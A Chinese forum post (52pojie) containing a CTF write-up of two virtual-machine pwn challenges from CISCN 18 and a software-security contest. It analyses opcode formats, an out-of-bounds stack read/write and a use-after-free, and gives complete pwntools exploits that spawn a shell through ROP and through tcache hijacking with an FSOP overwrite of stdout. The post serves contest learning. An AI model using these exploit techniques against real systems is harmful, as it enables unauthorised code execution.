吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 1048|回复: 6
收起左侧

[CTF] ciscn18与ccsssc18两道VM-PWN

[复制链接]
Mugwort 发表于 2025-1-9 18:31
本帖最后由 Mugwort 于 2025-1-9 19:12 编辑

最近两场比赛各遇到了一题vm:

  1. 第十八届CISCN初赛-avm

  2. 第十八届软件安全攻防赛初赛-vm

两题都是较为简单的vm题,记录一下解题过程

avm

2025-01-09_145901

main函数很简单,sub_11E9是pwn题几乎固定的初始化标准流

接着让我们输入opcode

并走到第一个关键函数sub_1230

2025-01-09_150236

a1是全局变量40C0的地址

a1[33]被初始化为指向我们输入的opcode的指针

a1[34]被初始化为0x300,也就是最大opcode长度

其余全部置为0

这里差不多就能看出40C0就是这题的VM核心了,这个函数就是在对这个结构体进行初始化,但我们尚且还不能知道完整的定义

2025-01-09_150710

当a1[32]小于a1[34]时,程序就会不断执行

最后根据v2从funcs_1AAD功能表获取函数指针并调用,那么v2显然就是操作码

v2来自于*(_DWORD *)(a1[33] + (a1[32] & 0xFFFFFFFFFFFFFFFCLL)) >> 28

a1[33]就是我们输入的opcode

a1[32] & 0xFFFFFFFFFFFFFFFC将a1[32]最低2个比特位置零

这里我们就可以知道,a1[32]是pc计数器,opcode以四个字节为单位,最高4位为操作码

功能分析

要知道完整的定义还得继续往下分析功能表

2025-01-09_151856

这是第一个功能函数

v2和之前sub_19F1中的获取的opcode是同一个

可以看到有很多取低5位的操作,这里就已经可以看出opcode的结构了

2025-01-09_153359

c语言描述如下

struct BitFieldStruct {
    uint32_t dst   : 5;
    uint32_t src2  : 5;
    uint32_t       : 6;
    uint32_t src1  : 5;
    uint32_t       : 7;
    uint32_t func  : 4;
};

从而也能得到完整的vm结构

struct vm
{
  uint64_t regs[32];
  uint64_t pc;
  uint64_t code;
  uint64_t max_pc;
};

在ida中定义结构体后,现在这个函数看来是这样的

2025-01-09_153920

瞬间好看多了

对于这个函数功能其实就是vm->regs[dst] = vm->regs[src1] + vm->regs[src2]

以此类推我们能够得到接下来9个函数的功能分别是

2025-01-09_155350

漏洞所在

在分析过程中不难定位漏洞其实是出在9号和10号函数

即read_stack和write_stack

且二者的差不多,区别只在一个读一个写,以write为例
2025-01-09_154811

从这里可以看出这两个函数的opcode结构与前面8个函数不太相同,不过问题不大,挺好区分

byte_4010的大小是0xff

a2是sub_19F1传入的一个栈指针,这个函数是从寄存器里往栈写,但是其在检查时检查的是a1->regs[(v3 >> 5) & 0x1F] + BYTE2(v3),使用的确是(a1->regs[(v3 >> 5) & 0x1F] + (HIWORD(v3) & 0xFFF)

使用时这个数是作为索引使用的,那么这里就存在越界写了,可以将regs[dst]的值写向栈上缓冲区外

同理read_stack可以从栈上缓冲区外读

漏洞利用

很自然的一个思路就是从栈上读取存在的libc信息,将其变化为我们所需要的system地址以及binsh字符串地址,再写回栈上的返回地址处

完整exp

from pwn import*
import binascii, struct
import glverm

elf_path = './pwn'
libc = ELF('./libc.so.6', checksec=False)
elf = ELF(elf_path, checksec=False)
context.binary = elf_path
context.log_level = 'debug'

r   = lambda num=4096            :p.recv(num)
ru  = lambda flag, drop=False    :p.recvuntil(flag, drop)
rl  = lambda                     :p.recvline()
ra  = lambda time=0.5            :p.recvall(timeout = time)
u7f = lambda                     :u64(ru('\x7f')[-6:].ljust(0x8, b'\x00'))
sla = lambda flag, content       :p.sendlineafter(flag,content)
sa  = lambda flag, content       :p.sendafter(flag,content)
sl  = lambda content             :p.sendline(content)
s   = lambda content             :p.send(content)
irt = lambda                     :p.interactive()
tbs = lambda content             :str(content).encode()
leak= lambda name, addr          :log.success('{} = {:#x}'.format(name, addr))
fmt = lambda string              :eval(f"f'''{string}'''", globals()).encode()

def run():
    return process(elf_path) if LOCAL else remote('node1.anna.nssctf.cn', 28967)

LOCAL = 0
p = run()

def make_opcode(opcode, dst, src1, src2):
        result = 0
        result = opcode << 28
        result = result | dst
        result = (src1 << 16) | result
        result = (src2 << 5) | result
        return result

system = 0x50d70
binsh = 0x1d8678
pop_rdi_ret = 0x2a3e5
ret = 0x2a3e6

distance = 0x29d90
system_ = system - distance
binsh_ = binsh - distance
pop_rdi_ret_ = pop_rdi_ret - distance
ret_ = ret - distance
#get libc
payload =  p32(make_opcode(10, 0, 0xd38, 30))
#get distance
payload += p32(make_opcode(10, 1, 0x158, 30))
payload += p32(make_opcode(10, 2, 0x160, 30))
payload += p32(make_opcode(10, 3, 0x168, 30))
payload += p32(make_opcode(10, 4, 0x170, 30))
#change
payload += p32(make_opcode(1, 11, 0, 1))#system
payload += p32(make_opcode(1, 12, 0, 2))#binsh
payload += p32(make_opcode(1, 13, 0, 3))#pop_rdi_ret
payload += p32(make_opcode(1, 14, 0, 4))#ret
#write
payload += p32(make_opcode(9, 13, 0xd38, 30))
payload += p32(make_opcode(9, 12, 0xd40, 30))
payload += p32(make_opcode(9, 14, 0xd48, 30))
payload += p32(make_opcode(9, 11, 0xd50, 30))
#distance
payload += p32(0) + p64(system_) + p64(binsh_) + p64(pop_rdi_ret_) + p64(ret_)

sla(b'opcode: ',payload)
irt()

做这题时发现如果不用返回地址残留的libc地址,而是用其他地方的,那么固定偏移获取的值每次启动都有可能不一样,很奇怪

vm

和上一题一样,但其实这题甚至不算是vm题,其最终利用是内部又套了个堆菜单

漏洞是在堆操作中....

2025-01-09_165715

开始时申请了三个区域,mmap地址是stack,pc,data等的十六进制编码

read_data是读取题目自带的两个文件,只是打印字符,影响不大,不作理会

2025-01-09_165928

getcode就是从我们的输入中获取opcode

这题的opcode相比上一题会复杂些,且最终做题与这个关系也并不太大,就不一一分析了

vm核心定义如下

struct vm
{
  void *data;
  void *pc;
  unsigned __int64 regs[6];
  void *stack;
};

opcode定义

struct code
{
  unsigned int opcode;
  unsigned int dst1;
  unsigned int dst2;
};

opcode最低两个字节是指令分类,剩余6个字节是每个分类下的指令

主要是分为四类opcode,每类下面又有几十号函数,真分析工作量还挺大

2025-01-09_181417

处理0类opcode时,可以进入一个二级菜单,内部就是各种堆操作增删读写

漏洞利用

2025-01-09_181350

free时没有置零,所以存在UAF,

libc是2.35,老套路了,劫持tcache打FSOP就是,没啥好说的

完整exp

from pwn import*
import binascii, struct
import glverm

elf_path = './vm'
libc = ELF('./libc.so.6', checksec=False)
elf = ELF(elf_path, checksec=False)
context.binary = elf_path
context.log_level = 'debug'

r   = lambda num=4096            :p.recv(num)
ru  = lambda flag, drop=False    :p.recvuntil(flag, drop)
rl  = lambda                     :p.recvline()
ra  = lambda time=0.5            :p.recvall(timeout = time)
u7f = lambda                     :u64(ru('\x7f')[-6:].ljust(0x8, b'\x00'))
sla = lambda flag, content       :p.sendlineafter(flag,content)
sa  = lambda flag, content       :p.sendafter(flag,content)
sl  = lambda content             :p.sendline(content)
s   = lambda content             :p.send(content)
irt = lambda                     :p.interactive()
tbs = lambda content             :str(content).encode()
leak= lambda name, addr          :log.success('{} = {:#x}'.format(name, addr))
fmt = lambda string              :eval(f"f'''{string}'''", globals()).encode()

def run():
    return process(elf_path) if LOCAL else remote('127.0.0.1', 1234)

LOCAL = 1

payload = b''
def makeopcode(idx, cho, dst1 = 0, dst2 = 0):
        global payload
        if(idx == 3):
                payload += p8(idx|cho<<2)
                payload += p8(dst1)
                payload += p64(dst2)
        if(idx == 2):
                payload += p8(idx|cho<<2)
                payload += p8(dst1)
                payload += p8(dst2)
        if(idx == 1):
                payload += p8(idx|cho<<2)
                payload += p8(dst1)
        if(idx == 0):
                payload += p8(idx|cho<<2)
                payload += p8(0)*2+p8(dst1)

def alloc(size):
        makeopcode(3, 3, 0, size)
        makeopcode(0, 51, 3)

def free(idx):
        makeopcode(3, 3, 0, idx)
        makeopcode(0, 51, 4)

def writedata(idx, dst, size):
        makeopcode(3, 3, 0, idx)
        makeopcode(3, 3, 1, dst)#相对
        makeopcode(3, 3, 2, size)
        makeopcode(0, 51, 6)

def write(fd, src, size):
        makeopcode(3, 3, 0, fd)
        makeopcode(3, 3, 1, 0x646)
        makeopcode(3, 7, 1, 32)
        makeopcode(3, 10, 1, 0x17461000+src)
        makeopcode(3, 3, 2,  size)
        makeopcode(0, 51, 1)

def read(fd, dst, size):
        makeopcode(3, 3, 0, fd)
        makeopcode(3, 3, 1, 0x646)
        makeopcode(3, 7, 1, 32)
        makeopcode(3, 10, 1, 0x17461000+dst)
        makeopcode(3, 3, 2,  size)
        makeopcode(0, 51, 0)

def readdata(idx, src, size):
        makeopcode(3, 3, 0, idx)
        makeopcode(3, 3, 1, src)#相对
        makeopcode(3, 3, 2, size)
        makeopcode(0, 51, 5)

alloc(0xf0)#0
alloc(0xf0)#1
alloc(0xf0)
alloc(0xf0)
alloc(0xf0)
alloc(0xf0)
alloc(0xf0)
alloc(0x30)
alloc(0xf0)
alloc(0x20)
#get heap
free(7)

#get libc
for i in range(7):
        free(i)        
free(8)

writedata(7, 0x1000, 8)
write(1, 0x1000, 8)
writedata(8, 0x1008, 8)
write(1, 0x1008, 8)

#hijack tcache
read(0, 0x2000, 8)
readdata(6, 0x2000, 8)
alloc(0xf0)#10
#got dst
alloc(0xf0)#11
read(0, 0x3000, 0x100)
#write over stdout
readdata(11, 0x3000, 0x100)

p=run()

sa(b' opcodes:\n', payload)

heap = u64(r(8).ljust(8,b'\0')) << 12
libc.address = u64(r(8).ljust(8,b'\0'))- 0x21ACE0
leak('libc',libc.address) 
leak('heap',heap)
stdout = libc.sym['_IO_2_1_stdout_']
s(p64(stdout^(heap >> 12)))

obstack = libc.address + 0x2173C0
payload1 = flat(
        {
                0x18:1,
                0x20:0,
                0x28:1,
                0x30:0,
                0x38:libc.sym['system'],
                0x48:next(libc.search(b'/bin/sh')),
                0x50:1,        
                0x88:heap+0x200,
                0xd8:obstack,
                0xe0:stdout,
        },
        filler = '\x00'
)
s(payload1)

irt()

这题就是堆菜单套娃了vm的壳子,实际应该算堆题?

vm.zip

1.82 MB, 下载次数: 2, 下载积分: 吾爱币 -1 CB

免费评分

参与人数 1威望 +1 吾爱币 +20 热心值 +1 收起 理由
爱飞的猫 + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

xieyinghao 发表于 2025-1-10 10:17

感谢fenxiao,666
n0rma1playe2 发表于 2025-1-12 19:26
shuguang2121 发表于 2025-1-13 19:32
usr884 发表于 2025-1-14 11:42
谢谢分享,学习了!
Hacking2heart 发表于 2025-1-15 09:47
谢谢分享
cliffsu 发表于 2025-1-15 10:27
很实用,感谢分享
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-1-20 21:50

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表